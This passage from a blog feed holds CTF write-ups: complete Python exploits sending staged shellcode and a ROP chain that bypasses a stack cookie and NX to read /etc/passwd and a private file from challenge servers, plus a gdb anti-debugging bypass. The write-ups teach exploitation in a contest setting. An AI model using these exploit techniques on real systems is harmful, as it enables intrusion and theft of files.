sc +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>18<span style="color: #000099; font-weight: bold;">\x</span>01<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>&nbsp; <span style="color: #808080; font-style: italic;"># cmpl r0, 0x0</span><br />
sc +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>10<span style="color: #000099; font-weight: bold;">\x</span>1a<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>&nbsp; &nbsp; <span style="color: #808080; font-style: italic;"># jz +26</span><br />
<br />
sc +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>&nbsp; <span style="color: #808080; font-style: italic;"># movl r3, r0</span><br />
sc +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>&nbsp; <span style="color: #808080; font-style: italic;"># movl r0, 0x4</span><br />
sc +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>01<span style="color: #000099; font-weight: bold;">\x</span>01<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>&nbsp; <span style="color: #808080; font-style: italic;"># movl r1, 0x1</span><br />
sc +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>10&quot;</span>&nbsp; <span style="color: #808080; font-style: italic;"># movl r2, 0x1000</span><br />
sc +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>30&quot;</span>&nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;"># syscall (write)</span><br />
<br />
sc +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>07&quot;</span>&nbsp; <span style="color: #808080; font-style: italic;"># mov r0, r7</span><br />
<br />
sc +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>16<span style="color: #000099; font-weight: bold;">\x</span>c7&quot;</span>&nbsp; &nbsp; <span style="color: #808080; font-style: italic;"># jmps -47</span><br />
<br />
sc +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>01<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>&nbsp; <span style="color: #808080; font-style: italic;"># movl r0, 0x1</span><br />
sc +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>30&quot;</span>&nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;"># syscall (exit)</span><br />
<br />
<span style="color: #483d8b;">''' Stage 1 Loader '''</span><br />
<br />
loader &nbsp;<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>01<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>&nbsp; <span style="color: #808080; font-style: italic;"># movl r1, 0x0</span><br />
loader +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>&nbsp; <span style="color: #808080; font-style: italic;"># movl r0, 0x3</span><br />
loader +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>60&quot;</span>&nbsp; <span style="color: #808080; font-style: italic;"># movl r2, 0x6000</span><br />
loader +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>03&quot;</span>&nbsp; &nbsp; <span style="color: #808080; font-style: italic;"># movl r3, 0x32</span><br />
loader +<span style="color: #66cc66;">=</span> pack<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&lt;H&quot;</span><span style="color: #66cc66;">,</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>sc<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span> &nbsp; <span style="color: #808080; font-style: italic;"># &nbsp; -continued</span><br />
loader +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>30&quot;</span>&nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;"># syscall (read)</span><br />
loader +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>60&quot;</span>&nbsp; <span style="color: #808080; font-style: italic;"># movl r2, 0x6000</span><br />
loader +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>19<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>&nbsp; &nbsp; <span style="color: #808080; font-style: italic;"># call *r0</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>loader<span style="color: black;">&#41;</span> <span style="color: #66cc66;">&gt;</span> <span style="color: #ff4500;">100</span>:<br />
&nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>Shellcode too long: &quot;</span><span style="color: #66cc66;">,</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>loader<span style="color: black;">&#41;</span><span style="color: #66cc66;">,</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><br />
&nbsp; <span style="color: #dc143c;">sys</span>.<span style="color: black;">exit</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Shellcode size: &quot;</span><span style="color: #66cc66;">,</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>loader<span style="color: black;">&#41;</span><span style="color: #66cc66;">,</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><br />
<br />
payload <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\x</span>02'</span> * <span style="color: black;">&#40;</span><span style="color: #ff4500;">100</span> - <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>loader<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span> <span style="color: #808080; font-style: italic;"># Nopsled</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Nopsled size: &quot;</span><span style="color: #66cc66;">,</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>payload<span style="color: black;">&#41;</span><span style="color: #66cc66;">,</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><br />
<br />
payload +<span style="color: #66cc66;">=</span> loader<br />
<br />
payload +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>94<span style="color: #000099; font-weight: bold;">\x</span>7f&quot;</span> <span style="color: #808080; font-style: italic;"># To Nopsled</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Payload size: &quot;</span><span style="color: #66cc66;">,</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>payload<span style="color: black;">&#41;</span><span style="color: #66cc66;">,</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><br />
<br />
<span style="color: #808080; font-style: italic;"># Send Stage 1 Loader</span><br />
<br />
s.<span style="color: black;">send</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'%s'</span> %payload<span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span><br />
<br />
<span style="color: #dc143c;">time</span>.<span style="color: black;">sleep</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">2</span><span style="color: black;">&#41;</span><br />
<br />
<span style="color: #808080; font-style: italic;"># Send Stage 2</span><br />
<br />
s.<span style="color: black;">send</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'%s'</span> %sc<span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span><br />
<br />
<span style="color: #dc143c;">time</span>.<span style="color: black;">sleep</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">2</span><span style="color: black;">&#41;</span><br />
<br />
<span style="color: #808080; font-style: italic;"># Send filename to download</span><br />
<br />
s.<span style="color: black;">send</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'%s'</span> %<span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">3</span><span style="color: black;">&#93;</span> + <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">while</span> <span style="color: #ff4500;">1</span>:<br />
&nbsp; &nbsp; line <span style="color: #66cc66;">=</span> s.<span style="color: black;">recv</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">65536</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #ff7700;font-weight:bold;">not</span> line:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">break</span><br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> line<br />
<br />
s.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span></div></div>
<p>Result:</p>
<blockquote><p>$ python sciteek4004.py sciteek.nuitduhack.com 4004 "/etc/passwd"<br />
Received 'Password (required): '<br />
Shellcode size:  29 </p>
<p>Nopsled size:  71 </p>
<p>Payload size:  102 </p>
<p>root:x:0:0:root:/root:/bin/bash<br />
daemon:x:1:1:daemon:/usr/sbin:/bin/sh<br />
bin:x:2:2:bin:/bin:/bin/sh<br />
sys:x:3:3:sys:/dev:/bin/sh<br />
sync:x:4:65534:sync:/bin:/bin/sync<br />
games:x:5:60:games:/usr/games:/bin/sh<br />
man:x:6:12:man:/var/cache/man:/bin/sh<br />
lp:x:7:7:lp:/var/spo<br />
ol/lpd:/bin/sh<br />
mail:x:8:8:mail:/var/mail:/bin/sh<br />
news:x:9:9:news:/var/spool/news:/bin/sh<br />
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh<br />
proxy:x:13:13:proxy:/bin:/bin/sh<br />
www-data:x:33:33:www-data:/var/www:/bin/sh<br />
backup:x:34:34:backup:/var/backups:/bin/sh<br />
list:x:38:38:Mailing List Manager:/var/list:/bin/sh<br />
irc:x:39:39:ircd:/var/run/ircd:/bin/sh<br />
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh<br />
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh<br />
libuuid:x:100:101::/var/lib/libuuid:/bin/sh<br />
sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin</p></blockquote>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fcodezen.fr%2F2012%2F03%2F26%2Fndh-2012-prequals-sciteek-4004-write-up-multistage-file-reader%2F&amp;title=NDH%202012%20Prequals%20%E2%80%93%20Sciteek%204004%20Write-up%20%E2%80%93%20Multistage%20file%20reader" id="wpa2a_12"><img src="http://codezen.fr/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://codezen.fr/2012/03/26/ndh-2012-prequals-sciteek-4004-write-up-multistage-file-reader/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>NDH 2012 Prequals &#8211; Sciteek 4005 Web3 Write-up</title>
		<link>http://codezen.fr/2012/03/26/ndh-2012-prequals-sciteek-4005-web3-write-up/</link>
		<comments>http://codezen.fr/2012/03/26/ndh-2012-prequals-sciteek-4005-web3-write-up/#comments</comments>
		<pubDate>Mon, 26 Mar 2012 16:30:29 +0000</pubDate>
		<dc:creator>aXs</dc:creator>
				<category><![CDATA[CTF]]></category>
		<category><![CDATA[binary]]></category>
		<category><![CDATA[NDH]]></category>
		<category><![CDATA[ROP]]></category>
		<category><![CDATA[VM]]></category>

		<guid isPermaLink="false">http://codezen.fr/?p=95</guid>
		<description><![CDATA[This challenge runs under the NDH VM written specially for this CTF by Jonathan Salwan. We are told to exploit a web server running at sciteek.nuitduhack.com:4005 to get a file named sciteek-private.txt. We get a copy of the web server software in the file Web3.ndh which is running in the NDH VM. $ nc sciteek.nuitduhack.com [...]]]></description>
			<content:encoded><![CDATA[<p>This challenge runs under the NDH VM written specially for this CTF by Jonathan Salwan.</p>
<p>We are told to exploit a web server running at sciteek.nuitduhack.com:4005 to get a file named sciteek-private.txt.</p>
<p>We get a copy of the web server software in the file Web3.ndh which is running in the NDH VM.</p>
<blockquote><p>$ nc sciteek.nuitduhack.com 4005<br />
GET /<br />
HTTP/1.0 200 OK<br />
Content-Type : text/HTML<br />
Content-Length : 70</p>
<p><html><center><b>Exploit Me if you can <img src='http://codezen.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </b></html></center></p></blockquote>
<p>We try to overflow it:</p>
<blockquote><p>$ nc localhost 4005<br />
GET Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar<br />
$</p></blockquote>
<p>We are immediately disconnected. We need to dig in disassembly to understand why.</p>
<blockquote><p>0x81e8 > syscall (r0 = 0x0003 - read)<br />
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar<br />
[SYSCALL output]: 513<br />
0x81e9 > ret<br />
0x84d8 > mov r0, r1<br />
0x84dc > addl r8, #0x200<br />
0x84e1 > pop r1<br />
0x84e3 > cmpl r1, #0xbeef<br />
0x84e8 > jz 0x01<br />
0x84eb > end</p></blockquote>
<p>This program uses a hard-coded stack cookie with a value of 0xbeef. If we overflows the buffer (max size 0x200), we will overwrite the cookie and the protection will get triggered.</p>
<p>So we need to send the value of the cookie in your exploit payload:</p>
<blockquote><p>$ python -c 'print "A"*512+"\xEF\xBEAB"' | nc localhost 4005<br />
[!] Segfault 0x4241 (opcode unknown)
</p></blockquote>
<p>We control the PC register.</p>
<p>Now we need to get the address of our buffer. We add a breakpoint just after the read() syscall.</p>
<blockquote><p>0x81e4: movb r0, #0x03<br />
0x81e8: syscall</p>
<p>[Console]#> bp 0x81e8<br />
Breakpoint set in 0x81e8<br />
...<br />
0x81e4 > movb r0, #3<br />
[BreakPoint 1 - 0x81e8]<br />
0x81e8 > syscall (r0 = 0x0003 - read)<br />
GET /<br />
[SYSCALL output]: 6<br />
[Console]#> show sp<br />
7bf2: d8 84 47 45 54 20 2f 0a 00 00 <- GET /
</p></blockquote>
<p>The beginning of our buffer is at 0x7bf4.</p>
<blockquote><p>$ python -c 'print "A"*512+"\xEF\xBE\xf4\x7b"' | nc localhost 4005<br />
[!] Segfault 0x7bf4 (NX bit)</p></blockquote>
<p>Unfortunately NX bit is enabled in this challenge. Against NX protection we need to use ROP.</p>
<p>There is many nice gadgets in the binary. What we need to find is:</p>
<p>- read filename from stdin<br />
- open file with filename in memory<br />
- read file content to memory<br />
- write memory to stdout</p>
<p>generic registers setter</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">0x8225: pop r5<br />
0x8227: pop r4<br />
0x8229: pop r3<br />
0x822b: pop r2<br />
0x822d: pop r1<br />
0x822f: ret</div></div>
<p>syscall open()</p>
<p>int open(const char *pathname, int flags, mode_t mode);</p>
<p> *  [sys_open]    r1 = uint16_t *<br />
 *                r2 = uint16_t<br />
 *                r3 = uint16_t</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">0x81d2: movb r0, #0x02<br />
0x81d6: syscall</div></div>
<p>syscall read()</p>
<p>ssize_t read(int fd, void *buf, size_t count);</p>
<p> *  [sys_read]    r1 = uint16_t<br />
 *                r2 = uint16_t *<br />
 *                r3 = uint16_t</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">0x81e0: mov r1, r0<br />
0x81e4: movb r0, #0x03<br />
0x81e8: syscall</div></div>
<p>syscall write()</p>
<p>ssize_t write(int fd, const void *buf, size_t count);</p>
<p> *  [sys_write]   r1 = uint16_t<br />
 *                r2 = uint16_t *<br />
 *                r3 = uint16_t</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">0x8193: movb r0, #0x04<br />
0x8197: syscall</div></div>
<p>We can then construct this ROP chain exploit:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">#!/usr/bin/env python<br />
<br />
import socket<br />
import sys<br />
from struct import pack<br />
<br />
if len(sys.argv) != 3:<br />
&nbsp; print '\nUsage:\t./sciteek4005.py [host] [port]'<br />
&nbsp; sys.exit(1)<br />
<br />
host = sys.argv[1]<br />
port = int(sys.argv[2])<br />
<br />
payload = 'sciteek-private.txt\x00\n'<br />
<br />
payload += 'A' * (512 - len(payload))<br />
<br />
payload += pack(&quot;&lt;H&quot;, 0xbeef) # stack cookie<br />
<br />
payload += pack(&quot;&lt;H&quot;, 0x8229) # pop r3 / pop r2 / pop r1 / ret<br />
payload += pack(&quot;&lt;H&quot;, 0x0000) # r3 = O_RDONLY<br />
payload += pack(&quot;&lt;H&quot;, 0x0000) # r2<br />
payload += pack(&quot;&lt;H&quot;, 0x7bf4) # start of our buffer<br />
<br />
payload += pack(&quot;&lt;H&quot;, 0x81d2) # open, FD will go in r0<br />
<br />
payload += pack(&quot;&lt;H&quot;, 0x8229) # pop r3 / pop r2 / pop r1 / ret<br />
payload += pack(&quot;&lt;H&quot;, 0x1000) # r3 = count<br />
payload += pack(&quot;&lt;H&quot;, 0x6000) # r2 = buffer<br />
payload += pack(&quot;&lt;H&quot;, 0x0000) # dummy<br />
<br />
payload += pack(&quot;&lt;H&quot;, 0x81e0) # mov r1, r0 / read(), r0 contains the count of bytes read<br />
<br />
payload += pack(&quot;&lt;H&quot;, 0x822d) # pop r1 / ret<br />
payload += pack(&quot;&lt;H&quot;, 0x6000) # r1 = buffer<br />
<br />
payload += pack(&quot;&lt;H&quot;, 0x8187) # mov r3, r0 / mov r2, r1 / movb r1, #0x01 / write()<br />
<br />
payload += '\n'<br />
<br />
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br />
s.connect((host, port))<br />
<br />
s.send('%s' %payload);<br />
<br />
while 1:<br />
&nbsp; &nbsp; line = s.recv(65536)<br />
&nbsp; &nbsp; if not line:<br />
&nbsp; &nbsp; &nbsp; &nbsp; break<br />
&nbsp; &nbsp; print 'Received', repr(line)<br />
<br />
s.close()</div></div>
<p>Result:</p>
<blockquote><p>$ python sciteek4005.py sciteek.nuitduhack.com 4005<br />
Received 'Dear Patrick,\n \nWe found many evidences proving there is a mole inside our company who is selling confidential materials to our main competitor, Megacortek. We have very good reasons to believe that Walter Smith have sent some emails to a contact at Megacortek, containing confidential information.\n \nHowever, these emails seems to have been encrypted and sometimes contain images or audio files which are apparently not related with our company or our business\n, but one of them contains an archive with an explicit name.\n \nWe cannot stand this situation anymore, and we should take actions to make Mr Smith leave the company: we can fire this guy or why not call the FBI to handle this case as it should be.\n \nSincerely,\n \nDavid Markham.\n'<br />
Received '\x1b[91m[!] Segfault 0x0000 (NX bit)\x1b[0m\n'</p></blockquote>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fcodezen.fr%2F2012%2F03%2F26%2Fndh-2012-prequals-sciteek-4005-web3-write-up%2F&amp;title=NDH%202012%20Prequals%20%E2%80%93%20Sciteek%204005%20Web3%20Write-up" id="wpa2a_14"><img src="http://codezen.fr/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://codezen.fr/2012/03/26/ndh-2012-prequals-sciteek-4005-web3-write-up/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Insomni&#8217;hack 2012 reverse_me.bin Write-up</title>
		<link>http://codezen.fr/2012/03/04/insomnihack-2012-reverse_me-bin-write-up/</link>
		<comments>http://codezen.fr/2012/03/04/insomnihack-2012-reverse_me-bin-write-up/#comments</comments>
		<pubDate>Sun, 04 Mar 2012 18:19:33 +0000</pubDate>
		<dc:creator>aXs</dc:creator>
				<category><![CDATA[CTF]]></category>
		<category><![CDATA[binary]]></category>
		<category><![CDATA[gdb]]></category>

		<guid isPermaLink="false">http://codezen.fr/?p=89</guid>
		<description><![CDATA[We have a binary $ file reverse_me.bin reverse_me.bin.back: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header size $ readelf -l reverse_me.bin Elf file type is EXEC (Executable file) Entry point 0x8048054 There are 1 program headers, starting at offset 52 Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg [...]]]></description>
			<content:encoded><![CDATA[<p>We have a binary</p>
<blockquote><p>$ file reverse_me.bin<br />
reverse_me.bin.back: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header size</p>
<p>$ readelf -l reverse_me.bin</p>
<p>Elf file type is EXEC (Executable file)<br />
Entry point 0x8048054<br />
There are 1 program headers, starting at offset 52</p>
<p>Program Headers:<br />
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align<br />
  LOAD           0x000000 0x08048000 0x08048000 0x00344 0x00344 RWE 0x1000</p>
<p>$ ./reverse_me.bin<br />
Get the flag</p></blockquote>
<p>Yeah, let's get the flag...</p>
<blockquote><p>$ strace ./reverse_me.bin<br />
execve("./reverse_me.bin", ["./reverse_me.bin"], [/* 17 vars */]) = 0<br />
ptrace(PTRACE_TRACEME, 0, 0, 0)         = -1 EPERM (Operation not permitted)<br />
write(1, "no gdb down there buddy...\n", 27no gdb down there buddy...<br />
) = 27<br />
_exit(0)                                = ?</p></blockquote>
<p>The ELF header has been heavily modified and we have a hard time setting a breakpoint on the Entry Point... some code is run before at start that detect gdb (ptrace) and exits..</p>
<blockquote><p>$ gdb reverse_me.bin<br />
gdb$ break *0x8048054<br />
Breakpoint 1 at 0x8048054<br />
gdb$ run<br />
no gdb down there buddy...</p>
<p>Program exited normally.</p></blockquote>
<p>Catching to the rescue.. ptrace is a function but also, ultimately, a syscall</p>
<blockquote><p>gdb$ catch syscall<br />
Catchpoint 1 (any syscall)<br />
gdb$ run<br />
--------------------------------------------------------------------------[regs]<br />
  EAX: 0xFFFFFFDA  EBX: 0x00000000  ECX: 0x00000000  EDX: 0x00000000  o d I t s Z a P c<br />
  ESI: 0x00000000  EDI: 0xBFFFF80C  EBP: 0x0AE8DB34  ESP: 0xBFFFF80C  EIP: 0x08048187<br />
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0000  SS: 007B<br />
--------------------------------------------------------------------------[code]<br />
0x8048187:	cmp    eax,0x0<br />
0x804818a:	jne    0x80481fb<br />
0x804818c:	push   0x4<br />
0x804818e:	pop    eax<br />
0x804818f:	cdq<br />
0x8048190:	xor    ebx,ebx<br />
0x8048192:	inc    ebx<br />
0x8048193:	push   0xa<br />
--------------------------------------------------------------------------------</p>
<p>Catchpoint 1 (call to syscall 'ptrace'), 0x08048187 in ?? ()<br />
gdb$ conti<br />
--------------------------------------------------------------------------[regs]<br />
  EAX: 0xFFFFFFFF  EBX: 0x00000000  ECX: 0x00000000  EDX: 0x00000000  o d I t s Z a P c<br />
  ESI: 0x00000000  EDI: 0xBFFFF80C  EBP: 0x0AE8DB34  ESP: 0xBFFFF80C  EIP: 0x08048187<br />
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0000  SS: 007B<br />
--------------------------------------------------------------------------[code]<br />
0x8048187:	cmp    eax,0x0<br />
0x804818a:	jne    0x80481fb<br />
0x804818c:	push   0x4<br />
0x804818e:	pop    eax<br />
0x804818f:	cdq<br />
0x8048190:	xor    ebx,ebx<br />
0x8048192:	inc    ebx<br />
0x8048193:	push   0xa<br />
--------------------------------------------------------------------------------</p>
<p>Catchpoint 1 (returned from syscall 'ptrace'), 0x08048187 in ?? ()
</p></blockquote>
<p>There we have a check for eax, normally ptrace would return 0 but it's 0xFFFFFFFF since gdb is already active. Let's change it to 0 and continue.</p>
<blockquote><p>gdb$ set $eax = 0<br />
gdb$ conti<br />
Catchpoint 1 (call to syscall 'write'), 0x080481ac in ?? ()<br />
gdb$ conti<br />
Get the flag</p>
